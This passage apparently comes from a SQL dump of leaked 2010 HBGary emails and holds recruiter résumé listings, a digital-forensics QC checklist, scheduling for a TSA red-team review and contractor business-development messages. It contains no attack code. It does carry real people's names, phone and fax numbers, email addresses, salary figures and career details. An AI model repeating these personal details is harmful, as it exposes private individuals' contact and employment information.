time critical intelligence data, and drafted tactical messages for Atlantic Fleet forces.&nbsp;Naval Recruiter Canvasser, Naval Recruiting District Philadelphia, U.S. Navy, 2000-2001Identified qualified civilians for enlistment into the United States Navy, through various recruiting techniques.Prospected candidates, conducted interviews, completed enlistment records and counseled rejected applicants.Identified target market populations through analyzing recruiting results, and formulated plans for improving the marketing and recruiting process.Managed the delayed entry program, resulting in a significant decrease in recruit attrition levels, and contributed to the recruiting district making goal for the year.Counseled new recruits on their transition into the Navy, and prepared them for recruit training.Conducted basic background investigations on qualified applicants, based on police records and references listed on application, and National Security background information.&nbsp;Anti-Submarine Warfare Systems Operator, Acoustic Intelligence Analyst, USS George Washington, U.S. Navy, 1997-2000Supported operation of the anti-submarine warfare module through utilization of tactical display, acoustic intelligence, and electronic warfare, environmental and associated equipment.Formatted Maritime messages, acoustic intelligence (MASINT) data submission, and tactical mission briefing, debriefing, and reconstruction in support of carrier airborne operations.Provided safety and security for over 5,000 personnel onboard, as a member of the shipboard police force.Participated in over 50 military flights as a Naval Air Crewman, in support of Anti-Submarine warfare missions.Managed the Respiratory safety program and database for over 2,500 personnel while in the Norfolk Naval Shipyard.Participated in a myriad of physical security and law enforcement duties, for 10 months, while attached to the ships Master at Arms police force.&nbsp;EDUCATION AND TRAINING&nbsp;Master of Science degree in Forensic Studies, Investigations Track, 12/2008 (3.85 GPA)Stevenson University (formerly Villa Julie College).&nbsp; Computer Forensics and Security classes: Forensic Information Technology, Windows Forensic Examinations (Introduction to Encase), Information Systems Security Management, IT Operational Environment, Architecture and Infrastructure and Information Technology Law and Enforcement.Master of Science degree in Criminal Justice, 6/2006, Troy University.&nbsp;Bachelor of Science degree (concentrations in Psychology and Administrative/Management Studies) 7/2003. Excelsior College.Basic Police Officer Training Program, Federal Law Enforcement Training Center, 10 weeks.&nbsp; Glynco, Georgia, 2005.Law Enforcement and Physical Security Training, Department of Defense.&nbsp; 6 weeks of follow on training after graduation from the Federal Law Enforcement Training Center.IS Security Classes: Operational Security Fundamentals, Introduction to Operational Information Assurance, Malicious Code Threat, Operational Information Assurance, A Systems Approach to Threat and Vulnerabilities, Introduction to Information Security, Operational Information Assurance for Managers, Introduction to Key Management, Security and Intrusion Detection Fundamentals, Introduction to System and Network Security, Ethical Hacking and Countermeasures.&nbsp;&nbsp;AWARDS AND PROFESSIONAL EVALUATIONS&nbsp;Received an Award of Excellence for performance of duties during a special project dealing with Information Security and Assurance.&nbsp; Awarded August 2007.&nbsp; (Eagle Alliance)Performance Award for making outstanding contributions to the client’s Information Assurance and Security Program.&nbsp; Awarded July 2007.&nbsp; (Eagle Alliance)Sailor of the year, for the calendar year of 2003.&nbsp;Sailor of the Quarter, for the fourth quarter of Fiscal year 2003.2 Good Conduct medals while serving on Active Duty.&nbsp; First medal awarded on 12/19/1999, and second medal awarded 12/19/2003.3 letters of Commendation, while onboard the USS G. Washington, for superior performance.1 letter of appreciation, for volunteer service in Haifa, Israel.1 Navy and Marine Corps achievement medal, for exceptional performance of duties as watch supervisor and acoustic analyst, from 2001-2004. Awarded on 3/4/2004.Ranked the number one E-5 in the command, during the last evaluation period of active duty service.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PROFESSIONAL MEMBERSHIPS&nbsp;Information Systems Security AssociationAssociation of Certified Fraud Examiners.Fraternal Order of Police, Baltimore County, Maryland.American Legion, Military Veterans.\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence &lt;app_full_proxy.php.gif&gt;&lt;NPA_color.jpg&gt;We can help with your national or global staffing needs through our affiliation with NPA.\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence We can help with your national or global staffing needs through our affiliation with NPA.\r\n\r\n',3047,'aaron_hbgary_com/3047.html'),(10563,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008190.M242521P14101Q5419.eml','\"Maria Lucas\" <maria@hbgary.com>','CRAP!','I hadn\'t put it on my calendar, I missed it, but I already agreed to do social media training for INSCOM on the same day and time as the US-CERT meeting.  I am very sorry I missed that.  They can\'t move the training as I am being brought in to their overall 2 day training program.\r\n\r\nSuggestions?\r\n\r\nAaron ',7716,'aaron_hbgary_com/7716.html'),(10564,'2010-08-18','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297008190.M32784P14101Q5418.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: QC Check points for Sections 1.3.1, 1.3.2, & 1.3.3','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nExcellent - thanx\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 18, 2010 12:56 PM\r\nTo: Kirby Kintner\r\nSubject: Re: QC Check points for Sections 1.3.1, 1.3.2, &amp; 1.3.3\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nKriby,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYour talking about for these.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n   \r\n   Step No.\r\n   \r\n   \r\n   Step Name\r\n   \r\n   \r\n   Description\r\n   \r\n   \r\n   Metrics and Quality Control Approach\r\n   \r\n  \r\n \r\n \r\n  \r\n  1\r\n  \r\n  \r\n  Accept &amp; Log \r\n  \r\n  \r\n  Review requests for\r\n  accuracy and completeness.&nbsp; Log all incoming request; ensure chain of custody\r\n  procedures for all evidence are followed.\r\n  \r\n  \r\n  All digital forensics requests\r\n  accepted, logged within X hours of receipt\r\n  \r\n \r\n \r\n  \r\n  2\r\n  \r\n  \r\n  Triage &amp; Prioritize\r\n  \r\n  \r\n  Examine case externals\r\n  and case request information to assist in prioritization of analysis.&nbsp; Cases\r\n  categorized by data recovery, e-discovery, legal investigation, malware\r\n  investigation\r\n  \r\n  \r\n  All cases are categorized and\r\n  prioritized within X hours of acceptance\r\n  \r\n \r\n \r\n  \r\n  3\r\n  \r\n  \r\n  Process &amp; Analyze\r\n  \r\n  \r\n  Analyze physical\r\n  memory, reverse engineer static binaries, perform runtime traces of binaries\r\n  in malware sandbox, perform packet traces, session analysis, and raw log\r\n  dumps. &nbsp;\r\n  \r\n  \r\n  All cases are processed within\r\n  approximately 2 weeks of acceptance.\r\n  \r\n \r\n \r\n  \r\n  4\r\n  \r\n  \r\n  Report &amp; track\r\n  \r\n  \r\n  Create digital\r\n  forensics reports containing the details of the forensic analysis.&nbsp; Continue\r\n  to track cases to closure to ensure completeness and proper chain of custody\r\n  for evidence is followed.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  5\r\n  \r\n  \r\n  Monitor &amp; Report\r\n  \r\n  \r\n  Plan implementation is\r\n  monitored which then feeds the beginning of the cycle.&nbsp; Reports, briefing,\r\n  white papers, etc. are produced for use internally as well as for external\r\n  stakeholders\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n3-4 bullets per section. &nbsp;you mean as process steps?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 18, 2010, at 9:23 AM, Kirby Kintner wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nQC\r\nCheckpoints - If performing the work, what checks would you use to verify the\r\nwork was done correctly.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n3-4\r\nbullets per section\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanx\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKJK\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6417,'aaron_hbgary_com/6417.html'),(10565,'2010-08-18','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297008190.M473613P14101Q5420.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: TSA ITSSS Red Team','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThat&#8217;s because there were no comment forms for 1.3.3 &#8211; aren&#8217;t\r\nyou lucky.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 18, 2010 1:40 PM\r\nTo: Kirby Kintner\r\nSubject: Re: TSA ITSSS Red Team\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFAX\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKirby,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nnot sure what happened but it was not received.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCould you try:&nbsp;703-991-3225\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThank you,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 18, 2010, at 12:40 PM, Kirby Kintner wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt was sent\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, August\r\n18, 2010 12:25 PM\r\nTo:&nbsp;Kirby Kintner\r\nSubject:&nbsp;Re: TSA ITSSS Red\r\nTeam\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKirby,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDid u send the fax?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 18, 2010, at 9:39 AM, Kirby Kintner wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen:\r\nSaturday, August 21, 2010 1:00 PM-4:00 PM (UTC-05:00) Eastern Time (US &amp; Canada).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhere:\r\nDMI Facility, Bethesda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNote:\r\nThe GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAgenda:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1PM\r\n&#8211; 1:15 Kick-off\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1:15\r\n- 3:30 Review\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n3:30\r\n&#8211; 4&nbsp; Develop Top Ten list\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n4PM\r\n- Dismiss\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Mail Attachment.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13548,'aaron_hbgary_com/13548.html'),(10566,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008190.M682742P14101Q5421.eml','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','Re: TSA ITSSS Red Team','hmmmm.... I know Dr. Ken certainly had lots to say...there was no input he sent in?AaronOn Aug 18, 2010, at 2:25 PM, Kirby Kintner wrote:That’s because there were no comment forms for 1.3.3 – aren’t you lucky.&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, August 18, 2010 1:40 PMTo:&nbsp;Kirby KintnerSubject:&nbsp;Re: TSA ITSSS Red Team&nbsp;FAX&nbsp;Kirby,&nbsp;not sure what happened but it was not received.&nbsp;Could you try:&nbsp;703-991-3225&nbsp;Thank you,Aaron&nbsp;On Aug 18, 2010, at 12:40 PM, Kirby Kintner wrote:It was sent&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, August 18, 2010 12:25 PMTo:&nbsp;Kirby KintnerSubject:&nbsp;Re: TSA ITSSS Red Team&nbsp;Kirby,&nbsp;Did u send the fax?&nbsp;Aaron&nbsp;On Aug 18, 2010, at 9:39 AM, Kirby Kintner wrote:When: Saturday, August 21, 2010 1:00 PM-4:00 PM (UTC-05:00) Eastern Time (US &amp; Canada).Where: DMI Facility, Bethesda&nbsp;Note: The GMT offset above does not reflect daylight saving time adjustments.&nbsp;*~*~*~*~*~*~*~*~*~*&nbsp;Agenda:&nbsp;1PM – 1:15 Kick-off1:15 - 3:30 Review3:30 – 4&nbsp; Develop Top Ten list4PM - Dismiss&nbsp;&nbsp;&nbsp;&lt;Mail Attachment.ics&gt;&nbsp;&nbsp;',12297,'aaron_hbgary_com/12297.html'),(10567,'2010-08-18','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297008191.M21712P14101Q5422.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: TSA ITSSS Red Team','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNot to me. Nor were there any forms form him.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 18, 2010 2:26 PM\r\nTo: Kirby Kintner\r\nSubject: Re: TSA ITSSS Red Team\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nhmmmm.... I know Dr. Ken certainly had lots to say...there\r\nwas no input he sent in?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 18, 2010, at 2:25 PM, Kirby Kintner wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThat&#8217;s because there were no comment forms for 1.3.3 &#8211; aren&#8217;t\r\nyou lucky.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, August\r\n18, 2010 1:40 PM\r\nTo:&nbsp;Kirby Kintner\r\nSubject:&nbsp;Re: TSA ITSSS Red\r\nTeam\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFAX\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nKirby,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nnot sure what happened but it was not received.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCould you try:&nbsp;703-991-3225\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThank you,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 18, 2010, at 12:40 PM, Kirby Kintner wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt was sent\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, August\r\n18, 2010 12:25 PM\r\nTo:&nbsp;Kirby Kintner\r\nSubject:&nbsp;Re: TSA ITSSS Red\r\nTeam\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nKirby,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDid u send the fax?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 18, 2010, at 9:39 AM, Kirby Kintner wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen:\r\nSaturday, August 21, 2010 1:00 PM-4:00 PM (UTC-05:00) Eastern Time (US &amp;\r\nCanada).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhere:\r\nDMI Facility, Bethesda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNote:\r\nThe GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAgenda:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1PM\r\n&#8211; 1:15 Kick-off\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1:15\r\n- 3:30 Review\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n3:30\r\n&#8211; 4&nbsp; Develop Top Ten list\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n4PM\r\n- Dismiss\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Mail Attachment.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9732,'aaron_hbgary_com/9732.html'),(10568,'2010-08-18','\"John Farrell\" <jfarrell@icscorp.com>','/aaron@hbgary.com/new/1297008192.M32835P14101Q5423.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Discuss new business opportunities?','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nHere&#8217;s a revised capabilities matrix\r\n(you can discard the earlier one I sent). I know there&#8217;s a small malware\r\nrequirement on this PWS, but I suspect the opportunity will grow over time. Let\r\nme know your thoughts. Thanks again.\r\n\r\n&nbsp;\r\n\r\nJohn\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJohn M. Farrell\r\n\r\n(301) 768-0186\r\n\r\njfarrell@icscorp.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: John Farrell \r\nSent: Thursday, August 12, 2010\r\n6:07 PM\r\nTo: Aaron Barr\r\nSubject: RE: Discuss new business\r\nopportunities?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nHere&#8217;s the PWS and our template. I\r\nknow you are swamped, but appreciate your support. I think you will see how\r\nthis fits well with your offering/skills. Thanks!\r\n\r\n&nbsp;\r\n\r\nJohn\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJohn M. Farrell\r\n\r\n(301) 768-0186\r\n\r\njfarrell@icscorp.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, August 12, 2010\r\n1:06 PM\r\nTo: John Farrell\r\nSubject: Re: Discuss new business\r\nopportunities?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAlmost there\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 12, 2010, at 1:08 PM, John Farrell &lt;jfarrell@icscorp.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am here at Greenberry\'s. Give me a call if you need\r\nto reschedule. Thanks\r\nJohn\r\n3017680186\r\n\r\n----- Original Message -----\r\nFrom: John Farrell\r\nTo: \'aaron@hbgary.com\' &lt;aaron@hbgary.com&gt;\r\nSent: Mon Jul 26 15:00:36 2010\r\nSubject: Re: Discuss new business opportunities?\r\n\r\nAaron,\r\nGreetings. Hope all is well. Give me a good time and number to reach you. Let\'s\r\ncatch up soon.\r\nJohn\r\n301.768.0186 cell\r\n\r\n----- Original Message -----\r\nFrom: John Farrell\r\nTo: aaron@hbgary.com &lt;aaron@hbgary.com&gt;\r\nSent: Wed Jun 23 16:39:18 2010\r\nSubject: Discuss new business opportunities?\r\n\r\nAaron,\r\n\r\n\r\n\r\nHow are things going? When are you available to talk about joint business\r\nopportunities? I&#8217;m at ICS now and working to expand their business\r\ndevelopment efforts. We just won a contract at MSC and we&#8217;re chasing\r\nseveral security opportunities across DOD, Civilian and IC. Let me know your\r\nschedule and let&#8217;s get together soon.\r\n\r\n\r\n\r\nJohn\r\n\r\n\r\n\r\nJohn M. Farrell\r\n\r\nDirector of Technical Services\r\n\r\nIntegrated Communication Solutions, Inc.\r\n\r\n(301) 768-0186\r\n\r\njfarrell@icscorp.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13889,'aaron_hbgary_com/13889.html'),(10569,'2010-08-18','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008192.M459801P14101Q5424.eml','\"Aaron Barr\" <aaron@hbgary.com>','candidate 4','a higher priced phd...FYI...the &nbsp;numbers go away and names appear once my fee agreement is signed.thx,edCANDIDATE\'S NAME:&nbsp;&nbsp;4PERSONAL:&nbsp;&nbsp;U.S. Citizen&nbsp; &nbsp;&nbsp;SALARY:&nbsp;&nbsp;$160,000 Minimum 